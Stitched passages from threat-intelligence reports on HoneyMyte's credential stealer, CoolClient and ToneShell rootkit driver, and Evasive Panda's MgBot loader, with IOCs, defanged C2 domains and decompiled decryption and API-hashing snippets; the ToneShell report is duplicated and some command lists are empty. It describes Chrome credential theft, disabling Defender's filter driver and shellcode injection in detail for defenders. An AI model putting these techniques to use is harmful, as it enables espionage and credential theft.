The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

Overview of the attacks

In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.

Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.

The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.

Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.

Compromised digital certificate

The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.

We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.

Technical details of the malicious driver

The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.

The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.

API resolution

To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.

The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.

Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.

The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.

Protection of the driver file

The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:

• FileRenameInformation
• FileDispositionInformation
• FileRenameInformationBypassAccessCheck
• FileDispositionInformationEx
• FileRenameInformationEx
• FileRenameInformationExBypassAccessCheck

These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.

Protection of registry keys

The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:

• ProjectConfiguration
  
• ProjectConfiguration\Instances
  
• ProjectConfiguration Instance

To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.

The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.

The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:

• RegNtPreCreateKey
  
• RegNtPreOpenKey
  
• RegNtPreCreateKeyEx
  
• RegNtPreOpenKeyEx

Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.

Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.

Protection of user-mode processes

The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.

Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.

This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.

The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.

Payload injection

The driver delivers two user-mode payloads.

The first payload spawns an svchost process and injects a small delay-inducing shellcode.  The PID of this new svchost instance is written to a file for later use.

The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.

Injection workflow:

The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.

After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.

Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.

ToneShell backdoor

The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.

Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.

The samples we have analyzed contact two command-and-control servers:

• avocadomechanism[.]com
  
• potherbreference[.]com

ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.

Packet layout:

• Header (3 bytes): Fake TLS marker
• Size (2 bytes): Payload length
• Payload: Encrypted with a rolling XOR key

The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:

Conclusion

We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.

HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.

Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.

Recommendations

To protect themselves against this threat, organizations should:

• Implement robust network security measures, such as firewalls and intrusion detection systems.
• Use advanced threat detection tools, such as endpoint detection and response (EDR) solutions.
• Provide regular security awareness training to employees.
• Conduct regular security audits and vulnerability assessments to identify and remediate potential vulnerabilities.
• Consider implementing a security information and event management (SIEM) system to monitor and analyze security-related data.

By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.

36f121046192b7cac3e4bec491e8f1b5        AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83         AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777       ProjectConfiguration.sys
avocadomechanism[.]com                            ToneShell C2
potherbreference[.]com                                 ToneShell C2

Overview of the attacks

In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.

Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.

The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.

Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.

Compromised digital certificate

The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.

We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.

Technical details of the malicious driver

The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.

The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.

API resolution

To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.

The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.

Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.

The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.

Protection of the driver file

The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:

• FileRenameInformation
• FileDispositionInformation
• FileRenameInformationBypassAccessCheck
• FileDispositionInformationEx
• FileRenameInformationEx
• FileRenameInformationExBypassAccessCheck

These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.

Protection of registry keys

The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:

• ProjectConfiguration
  
• ProjectConfiguration\Instances
  
• ProjectConfiguration Instance

To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.

The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.

The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:

• RegNtPreCreateKey
  
• RegNtPreOpenKey
  
• RegNtPreCreateKeyEx
  
• RegNtPreOpenKeyEx

Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.

Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.

Protection of user-mode processes

The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.

Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.

This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.

The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.

Payload injection

The driver delivers two user-mode payloads.

The first payload spawns an svchost process and injects a small delay-inducing shellcode.  The PID of this new svchost instance is written to a file for later use.

The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.

Injection workflow:

The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.

After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.

Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.

ToneShell backdoor

The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.

Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.

The samples we have analyzed contact two command-and-control servers:

• avocadomechanism[.]com
  
• potherbreference[.]com

ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.

Packet layout:

• Header (3 bytes): Fake TLS marker
• Size (2 bytes): Payload length
• Payload: Encrypted with a rolling XOR key

The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:

Conclusion

We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.

HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.

Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.

Recommendations

To protect themselves against this threat, organizations should:

• Implement robust network security measures, such as firewalls and intrusion detection systems.
• Use advanced threat detection tools, such as endpoint detection and response (EDR) solutions.
• Provide regular security awareness training to employees.
• Conduct regular security audits and vulnerability assessments to identify and remediate potential vulnerabilities.
• Consider implementing a security information and event management (SIEM) system to monitor and analyze security-related data.

By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.

36f121046192b7cac3e4bec491e8f1b5        AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83         AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777       ProjectConfiguration.sys
avocadomechanism[.]com                            ToneShell C2
potherbreference[.]com                                 ToneShell C2

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

• Malware installation path: %ProgramData%\Microsoft\MF
• Resource domain: http://www.dictionary.com/
• Resource URI: image?id=115832434703699686&product=dict-homepage.png
• MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

Decryption routine of encrypted strings

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

Downloading a payload from the web resource

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

General overview of storing payload on disk by using hybrid encryption

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

